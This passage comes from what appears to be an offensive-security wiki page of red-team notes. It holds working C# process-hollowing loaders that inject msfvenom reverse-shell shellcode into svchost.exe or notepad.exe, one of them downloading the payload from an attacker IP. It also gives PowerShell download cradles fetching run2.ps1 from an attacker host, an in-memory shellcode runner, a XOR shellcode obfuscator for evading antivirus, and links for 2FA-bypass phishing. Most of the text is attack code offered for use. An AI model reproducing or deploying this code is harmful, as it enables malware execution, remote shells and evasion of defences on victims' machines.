        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
